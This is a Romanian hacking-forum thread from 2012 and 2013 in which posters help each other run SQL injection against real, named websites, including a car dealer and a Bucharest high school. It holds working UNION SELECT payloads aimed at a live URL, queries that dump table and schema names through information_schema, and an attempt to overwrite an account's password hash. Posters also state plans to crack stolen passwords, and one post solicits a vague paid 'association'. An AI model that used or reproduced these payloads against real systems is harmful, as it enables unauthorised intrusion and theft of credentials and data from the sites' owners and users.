BidiCooL Posted February 1, 2012 Report Share Posted February 1, 2012 Okay, am reusit sa gasesc user si password la un site, dar nu gasesc login page.Site-ul este: 1031 Exchange | Tax Deferred Exchange | Qualified Intermediarycum ai gasit site-ul? Link to comment Share on other sites More sharing options...
darkky84 Posted February 2, 2012 Report Share Posted February 2, 2012 Google. Link to comment Share on other sites More sharing options...
bigjoee Posted February 7, 2012 Report Share Posted February 7, 2012 Am ramas "inzapezit" la ultimii doi pasi.Dupa ce am extras versiunea si restul,nu reusesc sa nimeresc tabelul corect de unde pot extrage username-ul si apoi password.Astea sunt toate "tabels" (la cele boldate m-am gandit eu ca ar putea fii dar primesc eroare)| | |tables|| || |1,1 COLLATIONS2,1 COLLATION_CHARACTER_SET_APPLICABILIT3,1 COLUMNS4,1 COLUMN_PRIVILEGES5,1 ENGINES6,1 EVENTS7,1 FILES8,1 GLOBAL_STATUS9,1 GLOBAL_VARIABLES10,1 KEY_COLUMN_USAGE11,1 PARTITIONS12,1 PLUGINS13,1 PROCESSLIST[COLOR="#FF0000"][B]14,1 PROFILING[/B][/COLOR]15,1 REFERENTIAL_CONSTRAINTS16,1 ROUTINES17,1 SCHEMATA18,1 SCHEMA_PRIVILEGES19,1 SESSION_STATUS20,1 SESSION_VARIABLES21,1 STATISTICS22,1 TABLES 23,1 TABLE_CONSTRAINTS24,1 TABLE_PRIVILEGES25,1 TRIGGERS[COLOR="#FF0000"][B]26,1 USER_PRIVILEGES[/B][/COLOR]27,1 VIEWS28,1 categorii29,1 produseEroarea asta persista atunci cand vreau sa extrag username-ul.Am cautat si folosit o tona de combinatii si degeaba.select * from produse where id=-1 union all select 1,2,3,4,5,6,7,8,username,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from USER_PRIVILEGES--Table 'eliteaut_eliteauto.USER_PRIVILEGES' doesn't existExplicati-mi care este tabelul corect. Link to comment Share on other sites More sharing options...
BennyKA Posted February 20, 2012 Report Share Posted February 20, 2012 Am urmatorul site Siteul Liceului Teologic Adventist "Stefan Demetrescu", Bucuresti . Am reusit sa aflu numele la cateva tabele si coloane...dar nu stiu care de unde sa le iau. Am incercat diferite combinatii, dar nimic. Tind sa cred ca e vorba si de mai multe baze de date...Cum as putea sa aflu si numele bazelor de date care sunt pe acest server mysql? Link to comment Share on other sites More sharing options...
mengele Posted February 20, 2012 Report Share Posted February 20, 2012 (edited) @bigjoee de ce ascunzi link-ul daca tot postezi numele bazei de date...oare e greu de dedus ca este eliteauto.ro?? daaaaaa-le dreaku.. PS: mai taie din tabelele alea daaaa-le dreaaaku ca sunt 27 (jk) Edited February 20, 2012 by mengele Link to comment Share on other sites More sharing options...
totti93 Posted February 20, 2012 Report Share Posted February 20, 2012 Uite sintaxa pentru l33t:http://ltabucuresti.ro/rom/stiri.php?id=1337^1337/*1337*/UNION/*1337*/ALL/*1337*/SELECT/*1337*/1337,1337,GROUP_CONCAT(UNHEX(HEX(SCHEMA_NAME))),1337,1337,1337/*1337*/FROM/*1337*/INFORMATION_SCHEMA.SCHEMATA Link to comment Share on other sites More sharing options...
punctsietc Posted February 21, 2012 Report Share Posted February 21, 2012 Cine doreste o asociere pentru a castiga intre 50-500 euro pe saptamana add me la punctsietc ! Nu e teapa, nu cer bani si absolut nici un fel de serviciu inainte de stabilirea detaliilor. Daca sunteti interesati astept add ! Multumesc frumos. Link to comment Share on other sites More sharing options...
BennyKA Posted February 22, 2012 Report Share Posted February 22, 2012 cum as putea sa fac o interogarea:UPDATE ltabucur_catalog.useri SET parola=md5('parola_mea') WHERE user='B0D0D0';la siteul Siteul Liceului Teologic Adventist "Stefan Demetrescu", Bucuresti Link to comment Share on other sites More sharing options...
BennyKA Posted February 25, 2012 Report Share Posted February 25, 2012 (edited) --deleted-- Edited February 25, 2012 by BennyKA Link to comment Share on other sites More sharing options...
totti93 Posted February 26, 2012 Report Share Posted February 26, 2012 @BennyKANicicum. Ai PHP & MySQL, functia de interogare mysql_query() => Nu suporta stacked queries. Link to comment Share on other sites More sharing options...
BennyKA Posted February 26, 2012 Report Share Posted February 26, 2012 Am vazut astazi, cand m-am uitat peste descrierea functiei! Multam oricum...O sa incerc sa "decriptez" parolele alea! Link to comment Share on other sites More sharing options...
pikemobidans Posted February 29, 2012 Report Share Posted February 29, 2012 Buna all cine ma invata sa sa fac sql injection voi fi recunosator nu degegeaba id meu este pikemobidans Link to comment Share on other sites More sharing options...
pikemobidans Posted February 29, 2012 Report Share Posted February 29, 2012 scuzti-ma dar nu inteleg Link to comment Share on other sites More sharing options...
Vlachs Posted February 29, 2012 Report Share Posted February 29, 2012 scuzti-ma dar nu intelegEsti prea dobitoc Link to comment Share on other sites More sharing options...
zbeng Posted February 29, 2012 Report Share Posted February 29, 2012 scuzti-ma dar nu inteleglu asta ce nui da nimeni avertisment pt dublu post eeee zatakaaa unde esti amu Link to comment Share on other sites More sharing options...
iulyus Posted March 1, 2012 Report Share Posted March 1, 2012 la orice site pun "articole.php?articol=8" imi apare Not FoundThe requested URL /articole.php was not found on this server.Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.inseamna ca nu are vulnerabilitate nu ? Link to comment Share on other sites More sharing options...
totti93 Posted March 1, 2012 Report Share Posted March 1, 2012 Deci tu faci un request catre /articole.php care by default pointeaza catre un fisier cu numele `articole.php`. Tu crezi ca toate site-urile au un fisier `articole.php` ?Incerca sa adaugi in loc de `articole.php` urmatorul:%53%55%4e%54%20%55%4e%20%50%52%4f%53%54si iti va arata tot despre tine Link to comment Share on other sites More sharing options...
suciudx02 Posted March 1, 2012 Report Share Posted March 1, 2012 Nu stiu cine ar sta atat timp sa se ia dupa acest tutorial cand cu sqlmap le faci de 10 ori mai repede Link to comment Share on other sites More sharing options...
Wish3r Posted May 25, 2013 Report Share Posted May 25, 2013 Folositor Link to comment Share on other sites More sharing options...
dede24ever Posted May 26, 2013 Report Share Posted May 26, 2013 (edited) intrebare de incepator in asa ceva.Am inteles faza cu limit limit 1,1-- 1,2-- si asa mai departe dar e destul de incomod la un site imens(100-200 de tabele) nu il putem face sa le scuipe pe toate odata intr-o lista?@suciudx02Fa unul cu sqlmap (5 minute maxim) si ca incepator fa-l manual sa vedem care-ti aduce satisfactie mai mare. Edited May 26, 2013 by dede24ever Link to comment Share on other sites More sharing options...
SilenTx0 Posted May 26, 2013 Report Share Posted May 26, 2013 Ca sa iti returneze toate tabelele poti folosi union+all+select+1,group_concat(table_name),3(cate coloane are si inlocuiesti coloana vulnerabila cu group_concat(table_name) ) from information_schema.tables where table_schema=database()-- Link to comment Share on other sites More sharing options...
dede24ever Posted May 27, 2013 Report Share Posted May 27, 2013 Mersi mult. Link to comment Share on other sites More sharing options...
Lunik Posted May 28, 2013 Report Share Posted May 28, 2013 cum ma pot loga? Adica nu am gasit login.php sau admin. o solutie? Link to comment Share on other sites More sharing options...
SilenTx0 Posted May 28, 2013 Report Share Posted May 28, 2013 Mai cauta! Link to comment Share on other sites More sharing options...
Lunik Posted May 28, 2013 Report Share Posted May 28, 2013 Am gasit. Era chiar sub nasul meu Link to comment Share on other sites More sharing options...
